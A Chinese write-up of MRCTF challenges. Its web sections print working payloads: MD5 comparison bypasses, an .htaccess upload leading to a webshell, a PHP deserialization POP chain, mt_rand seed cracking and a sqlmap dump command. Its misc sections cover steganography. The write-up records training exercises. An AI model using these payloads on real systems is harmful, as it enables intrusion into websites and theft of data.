MRCTF 部分WriteUp
前言
周末做了一下北邮的CTF,这里记录一下做出来的几道题。(PS:比较菜有很多没做出来 >_< ,还是要更加努力学习啊(ง •̀o•́)ง,剩下的等大佬们出了wp后在复现一下)
Web
ez_bypass
题目源码:
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}You got the first steponly one way to get the flag
一、绕过md5强类型的比较(一月的安恒祈福赛有考过)
1、使用数组绕过?gg[]=1&id[]=2
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
2、md5全等碰撞,直接传两个具有相同md5的字符串
gg=m%C6%88%A3%83KhNM%91gy%7C%E2%E4Cb1%D1%FD%C41%98%96%F9%1D%7F%3E%88%2B%AA%12%81%AD%F3%E2%60%E7%C5T%EF%07g%F4%99%81h%9Dz%18%DA%7B%02%82%B6%B0%9E%0CS%DC%8D%02%B9%C0%890%97%22%C6OhQw%AA%10%D8%03b%C2%B3%B1%8F%EA%40%5C%DC%81%D9M%C5%10%E0%BA_%88%C7%CF%AB%E4%27%AF%84n4%BA%03%8A%3A%28%D8%EC%60%2F%28%80%D0%DB%A0e%3B4%19d8%E0%26%11H%F9%D0+6%E2%7B%EE%3A%A4k%A3%DF3%94%D7%A0%B1%AB%E0L%8Atv%293%8E%81%F6%17%C2%0C%D2%F4%D4%B5%DD%E0T2%C3%0B%C8%EA%19%24%0A%AD1%1A%3E%BF%7E%1F%D3D%FB%E0%91%E4a%23%88%1F%28R%0A%BFvR%BB%A4%98%91%82Y%AEl%88%EA%16%1FS%CBZ%3C%E1%B2%AF%2B%B5%40%C7%2A%60%A8%D7%D7%3D%00h%97H%F3%13%B8C%06%5B%BA%D3%F9%DCHb%7BK%AC%CE%EF%CE%C5%18C%C1z%5D%3B%F7&id=m%C6%88%A3%83KhNM%91gy%7C%E2%E4Cb1%D1%FD%C41%98%96%F9%1D%7F%3E%88%2B%AA%12%81%AD%F3%E2%60%E7%C5T%EF%07g%F4%99%81h%9Dz%18%DA%7B%02%82%B6%B0%9E%0CS%DC%8D%02%B9%C0%890%97%22%C6OhQw%AA%10%D8%03b%C2%B3%B1%8F%EA%40%5C%DC%81%D9M%C5%10%E0%BA_%88%C7%CF%AB%E4%27%AF%84n4%BA%03%8A%3A%28%D8%EC%60%2F%28%80%D0%DB%A0e%3B4%19d8%E0%26%11H%F9%D0+6%E2%7B%EE%3A%A4k%A3%DF3%94%D7%A0%B1%AB%E0%CC%8Atv%293%8E%81%F6%17%C2%0C%D2%F4%D4%B5%DD%E0T2%C3%0B%C8%EA%19%24%8A%AD1%1A%3E%BF%7E%1F%D3D%FB%E0%91%E4%E1%23%88%1F%28R%0A%BFvR%BB%A4%98%91%82Y%AEl%88%EA%16%1FS%CB%DA%3C%E1%B2%AF%2B%B5%40%C7%2A%60%A8%D7%D7%3D%00h%97H%F3%13%B8C%06%5B%BAS%F9%DCHb%7BK%AC%CE%EF%CE%C5%18CAz%5D%3B%F7
构造可以参考:[https://xz.aliyun.com/t/2232]:
二、绕过is_numeric()的检测和php的==弱比较
is_numeric()的检测只要传一个非数字或数字字符串即可
==弱比较可以传一个password=123456a
之后可以看到flag
你传你🐎呢
把php的后缀都过滤了,试了一下.htaccess没有过滤
那么先上传一个.htaccess内容如下的文件:
<FilesMatch "2.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
它会把2.jpg当作php解析
然后把小马的后缀改为2.jpg上传
蚁剑连接
蚁剑配置
http://2b8739dc-110e-4461-876e-a9b3860dc286.merak-ctf.site/upload/37366d578ca8a592ee9d8412e081fda1/2.jpg
密码 value
根目录下看的flag
套娃
打开查看源码可以发现
主要代码
$query = $_SERVER['QUERY_STRING'];
//相当于获取?后面的值
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
//?后面的值不能有_和 %5f(%5f是_的url编码)
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
GET
?b.u.p.t=23333%0a
前面是利用php特性 . 会被转换为_
后面的正则匹配是利用$无法匹配换行符号%0a来进行绕过
返回FLAG is in secrettw.php,访问之后
只有127.0.0.1才行,看一下源码,发现JSPFUCk
复制放到控制台里运行,提示post一个Merak,随便post一个值得到源码
Flag is here~But how to get it? <?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
首先伪造ip,这里使用
client-ip: 127.0.0.1
然后file_get_contents可以利用php://input,change只是简单的改变了一下我们传的值写个反向的方法就行
<?php
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
function change2($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}
// $flag='ZmxhZy5waHA=';
// $a=change2($flag);
$b='ZmpdYSZmXGI=';
$a=change($b);
echo $a;
?>
最终
GET
?2333=php://input&file=ZmpdYSZmXGI=
POST
todat is a happy day
得到flag
Ezpop
这是萌新的我,第一次看懂并做出来的POP题,之前也有听说过POP,但一直没有实践,中途遇到了一个坑卡了贼久。。
当时参考这位师傅的博客:[https://www.cnblogs.com/20175211lyz/p/11560311.html]:
但是我tcl没看懂,于是决定一步一步分析
题目源码
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
一些基础知识
序列化和反序列化
所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对
象的方法,只会保存类的名字。
简单来说,serialize()将一个对象转换成一个字符串,unserialize()将字符串还原为一个对象。反序列化本身并不危险,但是如果反序列化时,传入反序列化函数的参数可以被用户控制那将会是一件非常危险的事情。
类和对象的概念就不多说了
几个常用魔术方法及触发条件
__construct //当一个对象创建时被调用,
__destruct //当一个对象销毁时被调用,
__toString //当一个类或对象被当作一个字符串被调用。
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__get() //读取不可访问属性的值时
__set() //在给不可访问属性赋值时
__isset() //当对不可访问属性调用 isset() 或 empty() 时
__unset() //当对不可访问属性调用 unset() 时
__invoke() //当尝试以调用函数的方式调用一个对象时
__set_state()//当调用 var_export() 导出类时,此静态 方法会被调用。
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
详细参考官方手册:[https://www.php.net/manual/zh/language.oop5.magic.php]:
public、protected、private的区别
public变量(公有)
直接将变量名反序列化出来
protected变量(受保护)
\x00 + * + \x00 + 变量名
private变量(私有)
\x00 + 类名 + \x00 + 变量名
对于 \x00 和 <0x00> 他们都表示空字节,在构造的时候用 %00 来表示,如:
O:4:"Test":2:{s:4:"name";s:7:"lceFIre";s:6:"%00*%00age";i:18;}
什么是POP?
在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有一种漏洞利用方法叫做 "面向属性编程" ,即 POP( Property Oriented Programming)。和二进制漏洞中常用的 ROP 技术类似。在 ROP 中我们往往需要一段初始化 gadgets 来开始我们的整个利用过程,然后继续调用其他 gadgets。在 PHP 反序列化漏洞利用技术 POP 中,对应的初始化 gadgets 就是 __wakeup() 或者是 __destruct() 方法, 在最理想的情况下能够实现漏洞利用的点就在这两个函数中,但往往我们需要从这个函数开始,逐步的跟进在这个函数中调用到的所有函数,直至找到可以利用的点为止。下面列举些在跟进其函数调用过程中需要关注一些很有价值的函数。
几个可用的POP链方法
命令执行:
exec(),passthru(),popen(),system()
文件操作:
file_put_contents(),file_get_contents(),unlink()
如果在跟进程序过程中发现这些函数就要打起精神,一旦这些函数的参数我们能够控制,就有可能出现高危漏洞.
详细参考:
下面分析和构造pyload
首先是找到入口方法也就是起点
很明显只有Show里面的__wakeup会在反序列化被调用
然后找一下终点,看一下最终我们利用的是哪个函数,浏览完所有方法,可以发现append方法里的include应该就是我们所需要的函数,我们可以利用它和php://filer协议来读取文件
接下来从终点往前推
第一步
include在append方法里,那么如何调用append方法?
这里我们可以看到__invoke()方法里调用了append方法,且$this->var可控
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
第二步
如何调用__invoke()方法?
我们知道:当尝试以调用函数的方式调用一个对象时,__invoke()会被调用
然后在Test类的__get()方法中,$this->p可控,当我们令它等于Modifier对象时,然后在return那里就会触发__invoke()方法
public function __get($key){
//获得一个类的成员变量时调用
$function = $this->p;
//Modifier
return $function();
}
第三步
如何调用__get()方法?
在读取不可访问属性的值时,__get()方法会被调用
然后看到Show类的__toString()方法,这里的 $this->str可控,我们可以构建一个Show对象令它的 $this->str等于Test对象,这样执行return时相当于返回 Test对象的source属性,这里由于Test对象里没有source属性,所以会触发__get()方法
public function __toString(){
return $this->str->source;
}
第四步
如何调用__toString()方法?
当一个类或对象被当作一个字符串时,__toString会被调用。
然后在我们的起点__wakeup()方法中,可以看到用preg_match对 $this->source进行了匹配,这里 $this->source会被当做字符串,而 $this->source可控,那么可以令它等于一个Show对象,从而触发__toString方法
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
那么完整的链就是
反序列化->__wakeup()->preg_match()->__toString()->__get()->__invoke()->append()->include()
脚本
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=./flag.php';
#public $var='data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=';
}
class Show
{
public $source;
public $str;
}
class Test
{
public $p;
}
$obj_Modifier = new Modifier();
$obj_Test = new Test();
$obj_Test->p = $obj_Modifier;
$obj_Show1 = new Show();
$obj_Show1->str = $obj_Test;
$obj_Show2 = new Show();
$obj_Show2->source = $obj_Show1;
echo serialize($obj_Show2);
?>
pyload:
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:59:"php://filter/read=convert.base64-encode/resource=./flag.php";}}}s:3:"str";N;}
注意:var是受保护的变量所以要用 %00*%00var
代替 <0x00>*<0x00>var
来表示受保护的变量
写在这题的最后
当时做题的我是看到了源码中的 protected $var; 但是写脚本的时候忘了得到的" * $var"
要写成"%00*%00var"
,然后就以为这个行不通。。
然后就想着用public弄个公有的var变量,应该也能让它调用,然后就入坑了。。。
我在本地用PHPstudy(当时用的是php7.2版本,这是坑点。。)和题目源码搭建了个简单的环境测试了一下生成的pyload,可以读取文件
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:3:"var";s:59:"php://filter/read=convert.base64-encode/resource=./flag.php";}}}s:3:"str";N;}
然后我就高兴的(有点sa..)拿着这个去打靶机,然后试了半天没点反应,然后我就以为会不会是php协议用错了(思路跑偏。。),去网上搜了半天关于include的利用。。
最后绕了一大圈才想到会不会是生成pyload时用的public的问题。。。
赛后我还是不理解为什么我在本地那样可以读取文件,而在靶机不行,然后就去向群里的师傅们请教
这里感谢 Mrkaixin师傅解答了我的困惑,是PHP版本的问题。
我测试了一下 5.2~7.2 的PHP版本(以下是个人理解写的不对的地方还欢迎师傅们指出 ﹡ˆoˆ﹡ )
在php7.2版本以前通过反序列化生成的public变量,不能重置原有的protect或private变量,php7.2的可以并且能被所在类的方法调用(但是不能在外部调用),之后的应该也可以。
这里可以看到我反序列化传入的公有变量成功被__wakeup调用,但是外部用echo输出不行
Ezaudit
打开是个网站,浏览一下没有什么可以利用的地方,那么扫一下目录
login.html是登录界面
www源码如下:
<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}
}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
看完后可以知道,这里需要求私钥,然后再登录的password那里存在sql注入,flag应该就再user表里
公钥和私钥的生成用的是 mt_rand() 函数,那么这里考查的应该是php伪随机性
详细可以参考wonderkun师傅的博客:[http://wonderkun.cc/2017/03/16/php的随机数的安全性分析/]:
之前一月的安恒祈福赛也考过
mt_rand函数是伪随机性,只要使用相同的种子,所生成的随机数序列一定是固定的。
但是在前面的内容里我们,并没有看到设置种子,那么它这里应该是用mt_rand函数自动播种,而在php中使用mt_rand函数产生一系列的随机数时,它的自动播种只进行了一次!(即多次调用 mt_rand()函数之前,只播种一次种子)
这里公钥已经告诉了,那么可以通过它来求种子
那么首先获得已知$Public_key的每一位在$strings1中的位置:
str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2 = 'KVQP0LdJKRaV3n9D'
res = ''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '
break
P = [0 for i in range(17)]
print(P)
#整理成方便 php_mt_seed 测试的格式
然后使用php_mt_seed爆破种子:
得到种子1775196155(注意种子对应的PHP版本)
然后就设置种子,这里我猜测它应该是先生成公钥在生成私钥:
<?php
mt_srand(1775196155);//爆破出来的种子
$str_long1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$str='';
$len1=16;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo "<p id='p1'>".$str."</p>";
$str='';
$len1=12;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo "<p id='p1'>".$str."</p>";
?>
得到
<p id='p1'>KVQP0LdJKRaV3n9D</p><p id='p1'>XuNhoueCDCGc</p>
这里可以看到前面的公钥和题目告诉的公钥一样,后面的就是私钥
用私钥登录进去什么都没有,那么flag在数据库里没得跑了,这里试了一下貌似没什么过滤,那直接sqlmap一把梭
先去抓个包,然后保存成文件,-p指定参数
python sqlmap.py -r C:\Users\lenovo\Desktop\sql.txt -p password -D test -T user -C flag --dump
拿到flag
Misc
ezmisc
png高度隐写,010修改以下高度就行。。
千层套娃
这题刚开始和BJDCTF的TARGZ-Y1ng一样(实在是太爽了~~哈哈),拿之前的脚本修改一下
#!/usr/bin/env python
# encoding: utf-8
import os
import filetype
import time
#sleep的单位是秒
number = 0
while 1:
aa = os.popen('ls')
filename = aa.read().replace('decompress.py','').replace('\n', '')
a = filename.replace('.zip', '')
kind = filetype.guess(filename)
#guess相当于加载文件
number += 1
try:
if kind.extension is 'zip':
#extension是获取文件类型
os.system("unzip -P {} {}.zip".format( a, a))
time.sleep(0.01)
os.system("rm {}.zip".format(a))
time.sleep(0.01)
except Exception as e:
print('解压完成')
print('解压了 {} 次'.format(str(number)))
break
得到一堆rgb
名字是qr,估计是个二维码,
RGB转图片脚本如下:
#!/usr/bin/env python
# encoding: utf-8
from PIL import Image
x = 200 #x坐标 通过对txt里的行数进行整数分解
y = 200 #y坐标 x * y = 行数
im = Image.new("RGB", (x, y)) #创建图片
file = open('qr.txt') #打开rbg值的文件
#通过每个rgb点生成图片
for i in range(0, x):
for j in range(0, y):
line=file.readline()
rgb = line.split("\n")
rgb = rgb[0]
rgb=rgb.replace('(','')
rgb=rgb.replace(')','')
rgb = rgb.split(", ")
im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2]))) #将rgb转化为像素
im.show() #也可用im.save('flag.jpg')保存下来
扫码得到flag
不眠之夜
纯手工拼。。
听说有工具,之后在学习一波
寻找xxx
是个wav文件,Au打开,很明显的DTMF拨号音,那么选择频谱图,设置一下最高和最低频率,窗口大小和补零因子,方便观察
详细参考:[http://blog.sina.com.cn/s/blog_3cef24f001018m8v.html]:
然后对照表来分析
Unravel!!
题目描述:音乐一响。。。又回想起了在东京吃人的日子
真是怀念啊,初三开始看的,现在已经完结了。。。
不说了,下面是正题
开场给了三个文件,win-zip需要密码(我最怕这种文件给的多的了,感觉b格很高不敢下手)
我首先看的是wav,因为最近的比赛老是碰到音频的题目。。
打开听了一下很正常,Au分析一下也什么都没有,kali里binwalk一下还是什么都没有,然后感觉Look_at_the_file_ending.wav这个文件名有点东西,说看一下这个文件的结尾,010打开看了下,果然有东西
看着眼熟想不起来是啥了,base64解了一下是一堆乱七八糟的东西,不管了先放着
U2FsdGVkX1/nSQN+hoHL8OwV9iJB/mSdKk5dmusulz4=
然后看了一下png,windows能正常打开,放到kali里也能正常打开,没什么不对的地方
binwalk跑一下,发现有zip,那就foremost分离
zip解压后打开
这里它的文件名是aes.png
在联想到之前的加密数据,我说怎么看着有点眼熟,原来是aes,那么Tokyo应该就是密码了
在线解AES
得到CCGandGulu,这个就是win-win.zip的密码
解压后又是个wav,一顿操作后什么,都没发现。。
后来想到之前做音频隐写的时候听过有音频的LSB隐写,但是一直没遇到
简单了解
SilentEye是一个跨平台的应用程序设计,可以轻松地使用隐写术,在这种情况下,可以将消息隐藏到图片或声音中。它提供了一个很好的界面,并通过使用插件系统轻松集成了新的隐写算法和加密过程。如果之前不了解这款软件,一般是很难发现图片或声音中藏有秘密。
然后用slienteye来解密,就拿到flag了 ~ ~ 嘿嘿